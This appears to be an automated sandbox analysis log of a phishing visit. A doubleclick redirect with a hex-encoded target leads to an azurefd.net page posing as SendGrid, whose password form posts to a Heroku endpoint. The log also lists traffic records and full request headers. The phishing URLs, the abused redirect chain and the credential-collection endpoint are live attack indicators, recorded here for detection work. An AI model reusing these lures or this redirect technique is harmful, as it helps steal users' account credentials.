Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: Form action: https://www.heroku.com/sendgridapp/secure.php

HTTP Parser: <input type="password" .../> found

Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI	HTTP Parser: No <meta name="author".. found
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI	HTTP Parser: No <meta name="author".. found

Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: No <meta name="copyright".. found
Source: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFI...	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 192.178.49.164:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.89.115.77:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.68.226:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.71:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.71:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.138.38:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 100.21.20.131:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.40.152.246:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.40.152.246:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 151MB

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: googleads.g.doubleclick.net to https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: googleads.g.doubleclick.net to https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D HTTP/1.1Host: url7554.impulseup.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmi0JzE8SJPHeqQrbV5ucv-j3-etykfM7yAiYQYWory0XXAhWsslqm2mKIw
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET 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
Source: global traffic	HTTP traffic detected: GET /sendgrid/tiara.css HTTP/1.1Host: pattemsyw.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sendgrid/129.c49e0d483e4298ff24d7.css HTTP/1.1Host: pattemsyw.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sendgrid/container.26013ccb977c385da82e216d1d448f4bbf39435b.css HTTP/1.1Host: pattemsyw.comConnection: keep-aliveOrigin: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.netsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sendgrid/26.4f50d9a5c773f22e4e53.css HTTP/1.1Host: pattemsyw.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
